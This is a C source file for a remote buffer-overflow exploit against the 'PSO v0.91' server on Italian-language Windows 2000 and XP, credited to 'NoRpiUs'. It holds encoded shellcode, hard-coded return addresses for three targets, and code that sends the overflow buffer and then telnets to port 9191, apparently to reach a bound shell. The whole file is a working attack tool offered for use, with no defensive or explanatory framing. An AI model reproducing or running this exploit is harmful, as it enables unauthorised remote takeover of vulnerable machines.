/*******************************************************
*  PSO v0.91 Remote exploit                            *
*  by NoRpiUs                                          *
*                                                      *
*  web: www.norpius.tk                                 *
*  email: norpius@altervista.org                       *
*                                                      *
*******************************************************/ 

#include <stdio.h>
#ifdef WIN32
    #include <winsock.h>
    #include <windows.h>
    #define close closesocket
#else
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif

unsigned char shellcode[] = 

	"\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33"
	"\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C"
	"\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE"
	"\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB"
	"\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77"
	"\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77"
	"\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77"
	"\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77"
	"\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77"
	"\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77"
	"\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77"
	"\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77"
	"\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77"
	"\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB"
	"\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C"
	"\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0"
	"\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77"
	"\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0"
	"\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB"
	"\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5"
	"\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98"
	"\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE"
	"\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77"
	"\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8"
	"\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF"
	"\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90"
	"\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74"
	"\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4"
	"\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94"
	"\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5"
	"\xD3\x4A\x8C\x88\r\n";        

void errore( char *err )
{
	printf("%s",err);
	exit(1);
}

void connectz( char *host)
{
	char comando[30000];
	sleep(5000);
	sprintf(comando, "telnet %s 9191", host);
	system(comando);
}

void banner(void)
{
	fputs("\n\tPSO Remote exploit\n"
	      "\tBy NoRpiUs\n"
	      "\tweb: www.norpius.tk\n"
	      "\temail: norpius@altervista.org\n\n", stdout);
}

void uso( char *progz )
{	
	printf("Uso: <host> <porta> <target>\n\n");
	printf("\tTarget:             \n"
               "\t1 = Win2k ITA SP4   \n"
               "\t2 = WinXP ITA SP0(1)\n"
               "\t3 = WinXP ITA SP0(2)\n");
	exit(1);
}

int main( int argc, char *argv[] )
{
	int sock;
	struct hostent *he;
	struct sockaddr_in target;
	unsigned char evilbuff[1530];
	long retaddr1 = 0x796C7DDC;   
        long retaddr2 = 0x77E7FC79; 
        long retaddr3 = 0x77EB1933;    

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(2,0), &wsadata);
#endif

	banner();
	if ( argc < 4 ) uso(argv[0]);

	if ( (he = gethostbyname(argv[1])) == NULL )
		errore("\t[-] Impossibile risolvere l'host\n");

	target.sin_family = AF_INET;
	target.sin_addr   = *(( struct in_addr *) he -> h_addr );
	target.sin_port   = htons(atoi(argv[2]));

	fputs("\t[+] Preparazione del buffer...\n", stdout);

	memset(evilbuff, 0x41, 1040 );
	
        switch(argv[3][0]) 
        {
                case '1': memcpy(evilbuff + 1024, (unsigned char *) &retaddr1, 4); break;
                case '2': memcpy(evilbuff + 1024, (unsigned char *) &retaddr2, 4); break;
                case '3': memcpy(evilbuff + 1024, (unsigned char *) &retaddr3, 4); break;
                default : errore("[-] Target sbagliato\n");                       
        }
	
	memcpy(evilbuff + 1040, shellcode, sizeof(shellcode)); 
	
	fputs("\t[+] Connessione...\n", stdout);

	if ( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) < 0 )
		errore("\t[-] Impossibile creare socket\n");

	if ( connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0 )
		errore("\t[-] Connessione fallita\n");

	if ( send( sock, evilbuff, sizeof(evilbuff), 0) < 0 )
		errore("\t[-] Impossibile spedire il buffer\n");

	close(sock);

	fputs("\t[+] Buffer spedito!\n", stdout);
	fputs("\t[+] In attesa della connessione...\n\n", stdout);

	connectz(argv[1]);

	return(0);

}